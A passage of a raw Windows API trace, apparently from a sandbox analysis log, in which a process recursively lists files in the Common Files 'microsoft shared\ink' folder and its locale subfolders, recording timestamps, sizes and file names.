ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0091.595] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0091.595] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0091.595] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0091.595] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0091.596] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0091.596] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0091.596] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0091.596] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0091.596] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0091.597] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0091.597] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0091.597] GetProcessHeap () returned 0xc00000 [0091.597] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.623] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.623] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.623] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.623] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.623] GetProcessHeap () returned 0xc00000 [0091.623] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.623] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0091.623] GetProcessHeap () returned 0xc00000 [0091.624] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.624] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.624] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.624] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.624] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.624] GetProcessHeap () returned 0xc00000 [0091.624] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.624] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0091.624] GetProcessHeap () returned 0xc00000 [0091.624] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.625] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.625] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.625] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.625] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.625] GetProcessHeap () returned 0xc00000 [0091.625] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.625] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0091.625] GetProcessHeap () returned 0xc00000 [0091.625] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.625] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.625] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0091.626] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0091.626] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.626] GetProcessHeap () returned 0xc00000 [0091.626] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.626] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0091.626] GetProcessHeap () returned 0xc00000 [0091.626] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.626] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.626] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.626] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.627] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.627] GetProcessHeap () returned 0xc00000 [0091.627] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.627] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0091.627] GetProcessHeap () returned 0xc00000 [0091.627] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.627] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.627] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.627] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.627] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.627] GetProcessHeap () returned 0xc00000 [0091.627] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.627] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, 